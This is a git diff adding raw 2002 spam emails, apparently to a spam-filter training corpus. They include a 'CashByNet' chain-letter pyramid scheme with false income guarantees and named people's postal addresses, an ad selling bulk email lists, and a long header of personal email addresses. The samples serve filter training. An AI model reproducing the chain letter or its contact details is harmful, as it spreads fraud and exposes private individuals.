b/bayes/spamham/spam_2/00403.90a79abcb32065d5381a74a84da2e6bd new file mode 100644 index 0000000..0124fdf --- /dev/null +++ b/bayes/spamham/spam_2/00403.90a79abcb32065d5381a74a84da2e6bd @@ -0,0 +1,378 @@ +From knb4menu@charter.net Mon Jun 24 17:05:33 2002 +Return-Path: knb4menu@charter.net +Delivery-Date: Tue May 21 08:57:09 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g4L7v7e27969 for + ; Tue, 21 May 2002 08:57:08 +0100 +Received: from smtp.easydns.com (smtp.easydns.com [205.210.42.30]) by + mandark.labs.netnoteinc.com (8.11.2/8.11.2) with ESMTP id g4L7v5D24369 for + ; Tue, 21 May 2002 08:57:05 +0100 +Received: from 24.158.53.229 (24-158-53-229.charternc.net [24.158.53.229]) + by smtp.easydns.com (Postfix) with SMTP id 9DAC82E3A0 for + ; Tue, 21 May 2002 03:56:53 -0400 (EDT) +From: knb4menu@charter.net +To: yyyy@netnoteinc.com +Subject: HELLO $NAME +Content-Type: text/plain; charset=ISO-8859-1 +Message-Id: <20020521075653.9DAC82E3A0@smtp.easydns.com> +Date: Tue, 21 May 2002 03:56:53 -0400 (EDT) +X-Keywords: +Content-Transfer-Encoding: 7bit + +Return-Path: +Received: from [216.35.187.6] (HELO webmillion.com) + by mx12.cluster1.charter.net (CommuniGate Pro SMTP 3.5.9) + with ESMTP id 4992751 for knb4menu@charter.net; Fri, 26 Apr 2002 08:09:39 -0400 +Received: from es-wmstage1 [216.35.187.6] by webmillion.com with ESMTP + (SMTPD32-6.04) id ADFB9700C8; Fri, 26 Apr 2002 04:55:33 -0700 +Received: from mail pickup service by es-wmstage1 with Microsoft SMTPSVC; + Fri, 26 Apr 2002 02:12:54 -0700 +From: "webMillion" +To: +Subject: Hello +Date: Fri, 26 Apr 2002 02:12:54 -0700 +X-Priority: 3 +X-MSMail-Priority: Normal +Importance: Normal +X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4910.0300 +Message-ID: +X-OriginalArrivalTime: 26 Apr 2002 09:12:54.0431 (UTC) FILETIME=[8C6632F0:01C1ED02] + +Copyright CashByNet 2000 (http://www.cashbynet.net) + + +.If you're sick of scams, then read this, and do what it says. + +I WILL MAKE YOU A PROMISE. Read this email to the end, follow the +instructions, and you won't have to worry about funding your +retirement, having money to play, or making ends meet... EVER. I +know what you are thinking. I never responded to one of these +before either. Then one day I realized that I throw away $25 +going to a movie for 2 hours with my wife, why not try investing +this same $25 in a system that just might work. I don't know why +that day I decided to take a chance, but I can't even come close +to imagining if I hadn't - I guess I'd still be poor. + +Read on. It's true. Every word of it. It's legal, and it's ethical. +Not only are you making money from your own business, you're +helping other people achieve their goals and fulfill their dreams. +Give it a shot, you'll see there is absolutely no way you won't get +AT LEAST a modest return on your start up capital. + + +Okay - here's the scoop on CashByNet (CBN): + +================================================== + +Due to the popularity of this particular email business, and the +business potential of the Internet, a national weekly news program +recently devoted an entire show to the investigation of this program +to see if it's legal, and if it really can make people money. + +Their findings proved that there are "absolutely NO LAWS prohibiting +the participation in the program, and if people can follow a few +simple instructions they are bound to make amazing returns with only +$25 in startup costs." + +DUE TO THE RECENT INCREASE OF POPULARITY & RESPECT THIS PROGRAM HAS +ATTAINED, IT IS CURRENTLY WORKING BETTER THAN EVER. THE MORE PEOPLE +WHO PARTICIPATE, THE BETTER OFF YOU BECOME, AND THE MORE INCOME YOU +WILL MAKE. + +This is what one had to say: + +"I was approached many times before to participate in Cash By Net, but +each time I passed on it. One day I decided that instead of going out +that night, I would take the money I would have spent - invest it in +this business, and see if it was as lucrative as everyone claimed. +Two weeks went by . . . . nothing. Three weeks . . . . $50 dollars +rolled in. At this point I was just relieved to get my money back. +Then it happened - One week after this, I opened my mailbox to find +$580 in $5 bills waiting for me. Its been about 8 months now, and I +just bought a new Mercedes . . . black :) The startup costs are so +small, and the time involved is less than 5 hours per week. +Give it a shot - what do you have to lose?" + +Pam Hedland, South Bound Brook, New Jersey. +================================================== + +Another said: + +"Programs like this have been around for a long time but I never +believed in them. But this year I won a $50 bet on the Patriots to +win the Super Bowl. I got this email the following morning, and I +felt like gambling. I spent $25 ordering the reports, and the other +$25 paying a parking ticket. I followed the instructions +meticulously - I thought I would at least get my original $25 back. +As soon as I got the email out, not One week went by before I quadrupled +my $25. I'd take that over the Patriots any day. I got excited, and +that's when it started to explode. In less than 6 weeks I was already +up $9500 bucks. It's been almost 4 months, and the flow hasn't stopped. +On an average day, I get anwhere from $500 - $1500 in the mail. I always +say that everything happens for a reason, and I feel that this was meant +to be, maybe it is for you too. Just stick to the steps, do everything it +says - and all of your hopes and dreams will be real - I promise." + +Greg Moran, Boston, MA. + +For more success stories and photos, go to http://www.cashbynet.net + + + +$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ + +FOLLOW THE SIMPLE INSTRUCTION BELOW AND YOUR FINANCIAL DREAMS WILL COME +TRUE, GUARANTEED. + +BE SURE TO SAVE A COPY OF THIS EMAIL AS A TEXT DOCUMENT FOR REFERENCE!!!! + + +INSTRUCTIONS: + +=====Order all 5 reports from your personal CBN money list below ===== + +For each report, send $5 CASH, THE NAME & NUMBER OF THE REPORT YOU ARE +ORDERING and YOUR E-MAIL ADDRESS to the person whose name appears ON +THAT LIST next to the report. MAKE SURE YOUR RETURN ADDRESS IS ON YOUR +ENVELOPE TOP LEFT CORNER in case of any mail problems. + +=== MAKE SURE YOU ORDER EACH OF THE 5 REPORTS === +You will need all 5 reports so that you can save them on your computer +and redistribute them. YOUR TOTAL START UP INVESTMENT: $5 X 5 = $25.00. + +Within a few days you will receive, via e-mail, each of the 5 reports +from these 5 different individuals. Save them on your computer so they +will be accessible for you to send to the 1,000's of people who will +order them from you. Also make a floppy of these reports and keep it +on your desk in case something happens to your computer. + +IMPORTANT - DO NOT ALTER THE NAMES OR SEQUENCE OF THE PEOPLE WHO ARE +LISTED NEXT TO EACH REPORT. FOLLOW THE INSTRUCTIONS 1-6 VERY CLOSELY +OR YOU WILL LOSE OUT ON THE MAJORITY OF THE PROFIT WHICH IS DUE TO +YOU!! Once you understand the way this works, you will also see how +it does not work if you alter it. Remember, this method has been +tested, and proved and if you alter it, it will NOT work !!! + +This is a legitimate BUSINESS. You are offering a product for sale and +getting paid for it. Treat it as such and you will be VERY profitable +in a short period of time, and have something many people can't - a +profitable business enterprise (and more money to do WHATEVER YOU COULD +POSSIBLY WANT). + +For more information go to http://www.cashbynet.net + +================================================== +HERE IS YOUR PERSONAL CBN MONEY LIST : +================================================== + +REPORT# 1: 'The Insider's Guide To Advertising for Free On The Net + +Order Report #1 from: + +Chris King +905 HWY 321 NW PMB 131 +Hickory, NC 28601 +_______________________________________________________ + +REPORT # 2: The Insider's Guide To Sending Bulk Email On The Net + +Order Report # 2 from: + +Greg Ferris +264 S. Cienega Blvd. #1066 +Beverly Hills, CA 90211 +USA + +_______________________________________________________ + +REPORT # 3: Secret To Multilevel Marketing On The Net + +Order Report # 3 from : +Tami C. Ickes +1667 Cumberland Road +Bedford, PA 15522 +USA + +_______________________________________________________ + +REPORT # 4: How To Become A Millionaire Using MLM & The Net + +Order Report # 4 from: + +B. Turner +60 McKerrell Way SE +Calgery, Alberta, Canada +T2Z 1R7 + +_______________________________________________________ + + +REPORT #5: How To Send Out One Million Emails For Free + +Order Report # 5 From: + +J.Thomas +16 Spaulding Ave. +Scituate, Ma. 02066 +USA + +_______________________________________________________ + +ORDER EACH REPORT BY ITS NUMBER & NAME ONLY. Notes: Always send $5 USD +cash for each Report. Checks NOT accepted. Make sure the cash is +concealed by wrapping it in at least 2 sheets of paper. On one of those +sheets of paper, Write the NUMBER & the NAME of the Report you are +ordering, +YOUR E-MAIL ADDRESS, your name AND postal address. +_______________________________________________________ + +PLEASE READ ON . . . + +======================= +IMPORTANT!! STEPS 1-6 +======================= + +1.. After you have ordered all 5 reports from your CBN money list, take +this original saved email and REMOVE the name & address of the person in +REPORT # 5. This person has made it through the cycle and is no doubt +counting their fortune. + +2.. Move the name & address in REPORT # 4 down TO REPORT # 5. + +3.. Move the name & address in REPORT # 3 down TO REPORT # 4. + +4.. Move the name & address in REPORT # 2 down TO REPORT # 3. + +5.. Move the name & address in REPORT # 1 down TO REPORT # 2 + +6.. Insert YOUR name & address in the REPORT # 1 Position. + +PLEASE MAKE SURE you copy every name & address ACCURATELY! +This is critical to YOUR success. + +================================================== +**** SAVE THE NEW MODIFIED EMAIL, AS THIS WILL BE THE OFFICIAL DOCUMENT +WHICH YOU WILL SEND TO PROSPECTIVE CUSTOMERS. BE SURE TO HAVE YOUR NAME +IN THE #1 POSITION AND THAT YOU DO NOT MAKE ANY OTHER CHANGES TO THIS +DOCUMENT. THIS IS CRITICAL TO THE PERFORMANCE OF YOUR BUSINESS AND +SUBSEQUENTLY THE SIZE OF YOUR PROFITS.**** + +As soon as you receive all 5 reports via email SAVE A COPY OF THEM! +These are the products that your customers are paying for. Not only do +these reports hold the secrets and instructions for your new venture, +you will be redistributing them to customers when you receive payment. +To assist you with marketing your business on the internet, the 5 +reports will provide you with valuable marketing information on how to +send bulk e-mails legally, where to find thousands of free classified +ads and much more. + +There are 2 Primary methods you will use to get this venture going: + + +METHOD # 1: BY SENDING BULK E-MAIL LEGALLY +================================================== + +Let's say that you decide to start small, just to see how it goes, +and we will assume You and those involved send out only 5,000 e-mails +each. Let's also assume that the mailing receive only a 0.2% +(2/10 of 1%) response (the response could be much better but lets just +say it is only 0.2%). Also many people will send out hundreds of +thousands e-mails instead of only 5,000 each). Continuing with this +example, you send out only 5,000 e-mails. + +With a 0.2% response, that is only 10 orders for report # 1. Those 10 +people responded by sending out 5,000 e-mail each for a total of 50,000. +Out of those 50,000 e-mails only 0.2% responded with orders. That's=100 +people responded and ordered Report # 2. + +Those 100 people mail out 5,000 e-mails each for a total of 500,000 +e-mails. The 0.2% response to that is 1000 orders for Report # 3. + +Those 1000 people send 5,000 e-mail each for a total of 5 million e-mail +sent out. The 0.2% response is 10,000 orders for Report # 4. + +Those 10,000 people send out 5,000 e-mails each for a total of 50,000,000 +(50 million) e-mails. The 0.2% response to that is 100,000 orders for +Report # 5. + +THAT'S 100,000 ORDERS TIMES $5 EACH = $500,000.00 (half a million +dollars). + +Your total income in this example is: 1..... $50 + 2..... $500 + 3..... +$5,000 + 4..... $50,000 + 5.... $500,000 .... Grand Total=$555,550.00 + +REMEMBER, THIS IS ASSUMING ONLY 10 PEOPLE ORDERING OUT OF +5,000 YOU MAILED TO. Dare to think for a moment what would happen if +everyone or half or even one 4th of those people mailed 100,000 e-mails +each or more? + +THE NUMBERS DON'T LIE. VISIT CBN AT +http://www.cashbynet.net/Calculator/ to +plug in your own numbers and see the results. + + +METHOD # 2: BY PLACING FREE ADS ON THE INTERNET +================================================== + +Advertising on the net is extremely inexpensive and there are hundreds +of FREE places to advertise. Placing a lot of free ads on the Internet +will easily get a larger response than just emails alone. We strongly +suggest you start with Method # 1 and add METHOD #2 as you begin to +become more knowledgeable about the business and study the 5 reports. +Remember to always provide same day service on all orders to ensure +proper return on the back end - this means quicker profits for you. + + +$$$$$$$$$ YOUR SUCCESS GUIDELINES $$$$$$$$$$$ + +Follow these guidelines to guarantee your success: + +=== If you do not receive at least 10 orders for Report #1 within 2 +weeks, continue sending e-mails until you do. + +=== After you have received 10 orders, 2 to 3 weeks after that you +should receive 100 orders or more for REPORT # 2. If you did not, +continue advertising or sending e-mails until you do. + +**ONCE YOU HAVE RECEIVED 100 OR MORE ORDERS FOR REPORT # 2, YOU CAN +RELAX, because the system is already working for you, and the cash +will continue to roll in ! THIS IS IMPORTANT TO REMEMBER: Every time +your name is moved down on the list, you are placed in front of a +different report. + +You can KEEP TRACK of your PROGRESS by watching which report people are +ordering from you. IF YOU WANT TO GENERATE MORE INCOME SEND ANOTHER +BATCH OF E-MAILS AND START THE WHOLE PROCESS AGAIN. There is NO LIMIT +to the income you can generate from this business !!! +================================================= + +FOLLOWING IS A NOTE FROM THE ORIGINATOR OF CASH BY NET: + +Cash By Net has become a very popular business for many sole +proprietors. However, this program will only work if you are willing +to put in the time and effort to make it work. This is not a program +for everybody. If you are just a passer by, and don't have a personal +vision of success, delete this now. Life all comes down to a few +opportunities - this is one of them. Have the courage to be free, and +have the drive to reach your goals. Before you start working with us, +take 10 minutes and write down your personal goals. What do you want +in 5 years? 1 year? 6 months? Be realistic - set your goals high enough +so you will work hard to reach them. Remember: You are the owner of your +own destiny, make these goals become reality - only you know what needs +to be done. + +You now possess the ideas, information, materials, and opportunity to +become financially independent and reach your highest dreams. I hope +you come along for the ride, it's a wonderful world ahead. + + + +Copyright CashByNet 2000 +================================================= +http://www.cashbynet.net + +The following message was sent to you as a valued webMillion member. +If you wish to unsubscribe please click here: +http://www.webmillion.com/remove_me.html?bl_id=9999 + + diff --git a/bayes/spamham/spam_2/00404.deea51c7b46665faf98fe6c5b5f88810 b/bayes/spamham/spam_2/00404.deea51c7b46665faf98fe6c5b5f88810 new file mode 100644 index 0000000..e452b76 --- /dev/null +++ b/bayes/spamham/spam_2/00404.deea51c7b46665faf98fe6c5b5f88810 @@ -0,0 +1,121 @@ +From jhane8euj3kjdoij3@aol.com Mon Jun 24 17:05:34 2002 +Return-Path: jhane8euj3kjdoij3@aol.com +Delivery-Date: Tue May 21 12:10:29 2002 +Received: from 211.114.54.85 ([211.114.54.81]) by dogma.slashnull.org + (8.11.6/8.11.6) with SMTP id g4LBANe03301 for ; + Tue, 21 May 2002 12:10:24 +0100 +Message-Id: <200205211110.g4LBANe03301@dogma.slashnull.org> +From: Jane Thurman +To: webmaster@efi.ie +Subject: Email & Fax Directory $99.95 100 million email addresses +Sender: Jane Thurman +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Date: Tue, 21 May 2002 07:12:32 -0400 +X-Keywords: + +FUTURE TECH INTERNATIONAL + +SPECIAL OFFER that "BLOWS AWAY TRADITIONAL MARKETING" - Advertising Age. + +The most powerful fully exportable CD Fax Database on the market +1,500,000 Business Fax Numbers + +OVER 1.5 MILLION FAX NUMBERS FULLY EXPORTABLE! +Usually Sells for $295. For a limited time only we are offering them for: + +ONLY $49.95 USD +(Never before have this many fax numbers been sold for so cheap) + +TARGETED EMAIL LIST +100 MILLION EMAIL ADDRESSES +Usually sells for $195.00. For a limited time only we are offering them for: + +ONLY $79.95 USD + +SPECIAL PACKAGE DEAL FOR BOTH DIRECTORIES: + +ONLY $99.95 USD + +MORE THAN 34 CATEGORIES SUCH AS: +-Multi level marketers +-Opportunity Seekers +-Telephone Area Code +-Country, City, State, etc... +-Travel & Vacations +-Opt-in +-People intersted in investments +-People or businesses who spent more than $1000 on the web in the last 2 months +-AND MANY MORE + +*Everything o n this disk is in TEXT file format and fully Exportable. +*The CD is as easy to use as browsing your C drive in Explorer. + +TO ORDER YOURS CALL 416-467-6585 + +OR FAX THE FORM BELOW TO 416-467-8986 + +ORDER FORM (Please PRINT clearly) + +------------------------------------------------------------------------------------------------------------------- +Name: + +Company Name: + +Email Address: + +Tel#: + +Shipping Address: + +City: Zip/Postal Code: + +Country: + +--------------------------------------------------------------------------------------------------------------------- +PRODUCT: + +[] Email Address CDROM (100 Million Addresses) $79.95 +[] Fax Directory (1.5 Million Business Fax Numbers) $49.95 +[] SPECIAL PACKAGE DEAL (Both Fax & Email Directories) $99.95 + +SHIPPING OPTIONS: + +[] Regular Mail (1 - 2 weeks delivery) $5.95 +[] Priority Mail (2 - 5 business days) $12.95 +[] Fedex Overnite $25.95 + +TOTAL AMOUNT TO BE BILLED TO CREDIT CARD: $ + +---------------------------------------------------------------------------------------------------------------------- +CREDIT CARD INFO: + +[] VISA [] MASTERCARD [] AMERICAN EXPRESS + +Card #: + +Expiry Date: + +Name on Card: + +Billing Address: + +Authorized Signature: +---------------------------------------------------------------------------------------------------------------------- +PLEASE FAX THIS FORM BACK TO 416-467-8986 + +TO ORDER BY MAIL: + +PLEASE send the ORDER FORM BACK and PRODUCT FORM withy a money order payable to FUTURE TECH INTERNATIONAL for the balance to: + +FUTURE TECH INTERNATIONAL +IMPORT EXPORT COMPANY +85 THORNCLIFFE PARK DRIVE SUITE 3602 +TORONTO, ONTARIO +CANADA (POSTAL) M4H 1L6 + +FOR ANY QUESTIONS PLEASE FEEL FREE TO CALL US AT 1-416-467-6585 + +*PROVIDE YOUR EMAIL ADDRESS SO THAT WE CAN SEND YOU A RECEIPT FOR YOUR TRANSACTION +For email removals sjshdhd-39e2@yahoo.com + diff --git a/bayes/spamham/spam_2/00405.39099b2d9fc7da44f0bd7c5d68c06ca6 b/bayes/spamham/spam_2/00405.39099b2d9fc7da44f0bd7c5d68c06ca6 new file mode 100644 index 0000000..b99a325 --- /dev/null +++ b/bayes/spamham/spam_2/00405.39099b2d9fc7da44f0bd7c5d68c06ca6 @@ -0,0 +1,75 @@ +From cre-repair@china.com Mon Jun 24 17:05:28 2002 +Return-Path: cre-repair@china.com +Delivery-Date: Tue May 21 05:00:09 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g4L405e20257 for + ; Tue, 21 May 2002 05:00:06 +0100 +Received: from server (letstalkcounseling.com [209.61.187.216]) by + mandark.labs.netnoteinc.com (8.11.2/8.11.2) with ESMTP id g4L403D23562; + Tue, 21 May 2002 05:00:04 +0100 +Received: from m10.caramail.com ([62.194.204.103]) by server with + Microsoft SMTPSVC(5.0.2195.1600); Mon, 20 May 2002 18:44:03 -0700 +Message-Id: <0000417d486c$00004cb0$00006863@pineapple.arctic.net> +To: +From: cre-repair@china.com +Subject: Fix your credit... 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    + + + + diff --git a/bayes/spamham/spam_2/00408.78e871a38b048989b9949716e3fc7575 b/bayes/spamham/spam_2/00408.78e871a38b048989b9949716e3fc7575 new file mode 100644 index 0000000..af26fdc --- /dev/null +++ b/bayes/spamham/spam_2/00408.78e871a38b048989b9949716e3fc7575 @@ -0,0 +1,144 @@ +From gbarcoe@netnation.ie Mon Jun 24 17:05:41 2002 +Return-Path: gbarcoe@netnation.ie +Delivery-Date: Tue May 21 16:40:35 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g4LFeYe15300 for + ; Tue, 21 May 2002 16:40:35 +0100 +Received: from saffron.via-net-works.ie (saffron.via-net-works.ie + [212.17.32.24]) by mandark.labs.netnoteinc.com (8.11.2/8.11.2) with ESMTP + id g4LFeXD26655 for ; Tue, 21 May 2002 16:40:34 + +0100 +Received: from applejuice.dialups.via-net-works.ie ([212.17.34.18] + helo=sever.netnation.ie) by saffron.via-net-works.ie with esmtp (Exim 3.20 + #1) id 17ABkN-0000VZ-00 for jmason@netnoteinc.com; Tue, 21 May 2002 + 16:40:24 +0100 +Received: by SEVER with Internet Mail Service (5.5.2448.0) id ; + Tue, 21 May 2002 14:57:19 +0100 +Message-Id: <7F238E950238D611A38F00E018C55F74094F67@SEVER> +From: "Garry Barcoe, Net Nation IT" +To: "'yyyyason@netnoteinc.com'" +Subject: Candidate update 21.05.02 +Date: Tue, 21 May 2002 14:57:18 +0100 +MIME-Version: 1.0 +X-Mailer: Internet Mail Service (5.5.2448.0) +Content-Type: text/plain +X-Keywords: + +Dear Justin, + + +Net Nation IT Recruitment Candidate Update Newsletter + +Our goal is to help you achieve your companies goals by providing you with +the best candidates on the job market today, with excellent and professional +service. + +www.netnation.ie Tel: 01 635 +9760 + +This month Justin, we have excellent IT candidates available, along with +some excellent IT Sales Super Stars. + +**Stop Press** + +Net Nation IT Recruitment will save up money on your contracting rates. +Call us now on 01 6359760 with your latest IT contracting jobs! + +Net Nation is a member of the National Recruitment Federation which is a +standard of credibility and strong ethical standing within the Irish +Recruitment industry. + + +****** + +RDBMS/Project Managers/Mainframe. Garry Barcoe gbarcoe@netnation.ie +Tel: 01 635 9760 + +Oracle Developer: 4 years PL/SQL, Forms and Reports 6i and Designer +2000 exp. Gb01 + +RPG Programmer: 10+ years exp in all industries. Good grounding in ERP +systems including JD Edwards. + +Senior Operations Manager: 15+ years exp. Mainframe, Network, Desktop +and Development Background in Financial arena. Gb03 + +Senior AS400 Contractor: 13 years exp. Areas of expertise includes +AS400, NT and Citrix as well as various anti-virus and email systems. +Immediately available! Gb04 + + + +www.netnation.ie + + +****** + +Networking/ PC Support Conor Walsh cwalsh@netnation.ie Tel:01 635 9760 + +Unix Administrator: 8 yrs exp., Solaris, HP UX, Sco, Aix, Oracle 7 & 8i, +SQL, NT/2000 Cw01 + +Snr. Systems Admin: 10 yrs exp. Unix (Solaris), NT/2000, AS400, Cisco, +Networking, PABX, Security, Firewalls, SAP, Mgmt experience, Internet Cw02 + +Technical Support: 1-year exp., NT & Win.2000, Networking, TCP/IP, Exchange, +Eager, Great Attitude Cw03 + +Cisco Contractor: CCNP/CCDP/CCNA, Full range of Cisco and Juniper Routers. +Immediately Available! CW04 + +****** + +IT Sales/Business Development Gerry Nolan gnolan@netnation.ie +Tel:01 635 9760 + +Sales Manager: Very experienced Sales Manager in software and consulting +areas. Strong blue chip experience. Excellent sales and people management +skills Ref Gn01 + +Business Development Manager: Telecoms sector, strong track record in +hardware sales. Good experience in the Irish market place. Ref Gn02 + +Sales/Account Manager: IT consulting sales. Background in hardware sales. +Seeking senior IT Sales or Account Manager role. Ref Gn03 + +Software Development: Cathal O Donnell codonnell@netnation.ie Tel: 635 9760 + +Java Developer: 4 years experience developing with Java, EJB, JSP, J2EE, XML +with Oracle experience working on NT and Unix. Co01 + +VB Developer: 10 years experience in the IT sector. Key skills include VB, +Java, Oracle, SQL and Access. Has worked with Windows and Unix primarily in +the financial sector. Co02 + +Software Developer: C++ Contract Developer worked in manufacturing and +financial sectors. Key skills include C++, VB, COM, DCOM, COM+, UML, Oracle, +Sql Server, Unix and NT. Immediately available! + +********************************************************************* + +Justin If you require more details on any of the candidates listed or have +any other IT or Sales positions please call us now on 01 635 9760 or email +us on jobs@netnation.ie + +For more details on Net Nation visit our web site www.netnation.ie + + +We have sent you this newsletter with the view that it will be relevant to +your business. If you do not wish to receive this newsletter please reply +with REMOVE in the subject title. + + +Regards +Garry Barcoe + +Net Nation IT Recruitment +68 Pearse Street +Dublin 2 +Tel: 01 635 9760 +jobs@netnation.ie +www.netnation.ie + + + diff --git a/bayes/spamham/spam_2/00409.1faf0d6f87e8b70f0bb05b9040d56fca b/bayes/spamham/spam_2/00409.1faf0d6f87e8b70f0bb05b9040d56fca new file mode 100644 index 0000000..d21d769 --- /dev/null +++ b/bayes/spamham/spam_2/00409.1faf0d6f87e8b70f0bb05b9040d56fca @@ -0,0 +1,187 @@ +From Prosextra@optinunlimited.com Mon Jun 24 17:05:43 2002 +Return-Path: Prosextra@optinunlimited.com +Delivery-Date: Tue May 21 19:05:53 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g4LI5qe22444 for + ; Tue, 21 May 2002 19:05:52 +0100 +Received: from host80.optinat.net (host.optinunlimited.com + [65.124.111.194]) by mandark.labs.netnoteinc.com (8.11.2/8.11.2) with + ESMTP id g4LI5lD27394 for ; Tue, 21 May 2002 19:05:48 + +0100 +Received: from html ([192.168.0.20]) by host80.optinat.net (8.11.6/8.11.6) + with SMTP id g4M62Mg19409; Wed, 22 May 2002 02:02:39 -0400 +Message-Id: <200205220602.g4M62Mg19409@host80.optinat.net> +From: Prosextra@optinunlimited.com +To: yyyy@normanrockwellvt.com +Subject: FREE ALL NATURAL SEXUAL STIMULANT! +Date: Tue, 21 May 2002 14:09:01 +MIME-Version: 1.0 +X-Keywords: +Content-Type: text/html; charset="DEFAULT" + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

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    + + + + diff --git a/bayes/spamham/spam_2/00410.fb7b31cdd9d053f8b446da7ce89383fa b/bayes/spamham/spam_2/00410.fb7b31cdd9d053f8b446da7ce89383fa new file mode 100644 index 0000000..338e303 --- /dev/null +++ b/bayes/spamham/spam_2/00410.fb7b31cdd9d053f8b446da7ce89383fa @@ -0,0 +1,663 @@ +From rathcairn@eircom.net Mon Jun 24 17:05:37 2002 +Return-Path: rathcairn@eircom.net +Delivery-Date: Tue May 21 16:22:21 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g4LFARe13905 for + ; Tue, 21 May 2002 16:10:29 +0100 +Received: from mail03.svc.cra.dublin.eircom.net + (mail03.svc.cra.dublin.eircom.net [159.134.118.19]) by + mandark.labs.netnoteinc.com (8.11.2/8.11.2) with SMTP id g4LFA7D26547 for + ; Tue, 21 May 2002 16:10:12 +0100 +Received: (qmail 26210 messnum 563502 invoked from + network[159.134.184.93/p93.as2.virginia1.eircom.net]); 21 May 2002 + 15:09:42 -0000 +Received: from p93.as2.virginia1.eircom.net (HELO r60qn) (159.134.184.93) + by mail03.svc.cra.dublin.eircom.net (qp 26210) with SMTP; 21 May 2002 + 15:09:42 -0000 +Message-Id: <00c701c200d9$a14bd540$5db8869f@r60qn> +From: "rathcairn" +To: "Zofia" + , , , + , , , + "Werner Gebert" + , + "Wendy O'Sullivan" + , + "Weedman" + , + "Weedman" + , + "Weedman" + , , , + "Wasted" + , , + , , + "Viagra to your door" + , , + "Vanessa Roberts" + , + "val nelson" + , , , + , , , + "U.S. Bachelors" + , + "trim visitor centre" + , =?iso-8859-1?Q?Treasa_U=ED_Mh=E1irt=EDn?= + , , + =?iso-8859-1?Q?Tracey_N=ED_Bhreathnach?= , + , , + "Tony Parker, BBC" + , + "Tony McManus" + <_mcmanust@eircom.net>, + "Tony Corley" + , =?iso-8859-1?Q?Tom=E1s_Jim_Mac_Gearailt?= + , , + "Tom O'Bryan" + , + "Tom Farrell" + , , + "Terence Corish" + , + "Tena Duarte" + , + "Ted Creighton" + , + "Tamas Pelyhe" + , =?iso-8859-1?Q?Tadhg_O_D=FAshl=E1ine?= + , , , + , + "System Administrator" + , + "Sunday Times" + , + "Sunday Business Post" + , , + "Sue Rocks" + , + "=?iso-8859-1?B?U3Rpb2bhbiDTIENvbG3haW4=?=" + , + "Stephen Shannon" + , + "Stephen Price" + , + "Staff" + , , + , + "Smart Investor" + , , , + , =?iso-8859-1?Q?Siobh=E1n_N=ED_Laoire?= + , , + =?iso-8859-1?B?U2ltb24g0yBDcvNpbu1u?= , + =?iso-8859-1?Q?Simon_O_Cr=F3in=EDn?= , + =?iso-8859-1?Q?Simon_O_Cr=F3in=EDn?= , + "Shaw Graham" + , + "Shaquana Samples" + , + "Shane Diffily" + , + "SeXieRachel" + , =?iso-8859-1?Q?Seosaimh=EDn_N=ED_Bheaglaoich?= + , , , + =?iso-8859-1?Q?Sean-N=F3s_Cois_Life?= , + "sean simpson" + , + "Sean O'Sullivan" + , =?iso-8859-1?Q?Se=E1n_=D3_Riain?= + , =?iso-8859-1?Q?Se=E1n_=D3_Riain?= + , =?iso-8859-1?Q?Sean_=D3_Daimh=EDn?= + , + "Sean Mac Aoire" + , + "Sean A O'Sullivan" + , + "=?iso-8859-1?B?U+lhbXVzINMgTulpbGw=?=" + , + "=?iso-8859-1?B?U+lhbXVzINMgQ3Jvc+Fpbg==?=" + , =?iso-8859-1?Q?S=E9amus_=D3_Connaill?= + , , , + , + "Sandra Nic Iomhair" + , , + , + "sabhailteacht bothar" + , , + "Ruairi O hUiginn" + , + "Ross Robinson" + , + "Ross Carroll" + , + "Roselie V. Zabala" + , =?iso-8859-1?B?UvNpc+1uIE7tIE1oaWFu4Wlu?= + , , + "Rod Allen and Barbara Quigley" + , + "Robbyn" + , , + "Richard Oakley" + , + "Renee Paper" + , + "Rene McRogers" + , , + "Reggie O Riain" + , + "=?iso-8859-1?B?UulhbW9ubiDTIENpYXLhaW4=?=" + , + "=?iso-8859-1?B?UulhbW9ubiDTIENpYXLhaW4=?=" + , + "Raymond Kieran" + , , + "rastelli" + , =?iso-8859-1?Q?Raidi=F3_na_Life?= + , + "rafco" + , , + , , + , , + "Prescription" + , , , + =?iso-8859-1?Q?P=F3il=EDn_Roycroft?= , + , =?iso-8859-1?Q?Phyllis_U=ED_Mheadhra?= + , + "Philomena Lafferty" + , , + "Pekka Heikkila" + , =?iso-8859-1?Q?Peigi_N=ED_Chonghaile?= + , + "Paul Mc Evoy" + , + "Patti Kerr" + , + "Patrick O'donoghue" + , , + "Pat Kavanagh" + , + "Pat &Carmel Downey" + , + "Parttraporn Israngkuranaayudhaya" + , + "Pamela Aldrich" + , , + =?iso-8859-1?Q?P=E1draig_Swinbourne?= , + =?iso-8859-1?Q?Padraig_=D3_Cinn=E9ide?= , + "Padraig Nallen" + , + "Padraig Nallen" + , + =?iso-8859-1?Q?P=E1draig_Leo_O_Curraoin?= , + "Paddy Clancy, The Sun" + , , , + , , + "Olga Vanherle" + , + "Oideas Gael" + , , + "obrienp" + , , + "North Dublin" + , + "Norman Kidd" + , + "Noirin Nuadhain" + , + "Nils van Hinsberg" + , =?iso-8859-1?Q?Nicola_N=ED_Cheallaigh?= + , + "Nicky Petite" + <54t7854342@msn.com>, =?iso-8859-1?Q?NIC_MHEANMAN=2C_M=C1IRE?= + , + "Niamh McEntee" + , + "NI NUADHAIN, NOIRIN" + , , + "Natalia Barry" + , + "Nadene" + , , + =?iso-8859-1?Q?Muireann_N=ED_Fhaotain?= , + =?iso-8859-1?Q?Muireann_N=ED_Ch=E1rthaigh?= , + , + "Mr. Natural" + , + "Morgan, Bernie" + , , + "Moneystorm" + , + "Money in the Mail" 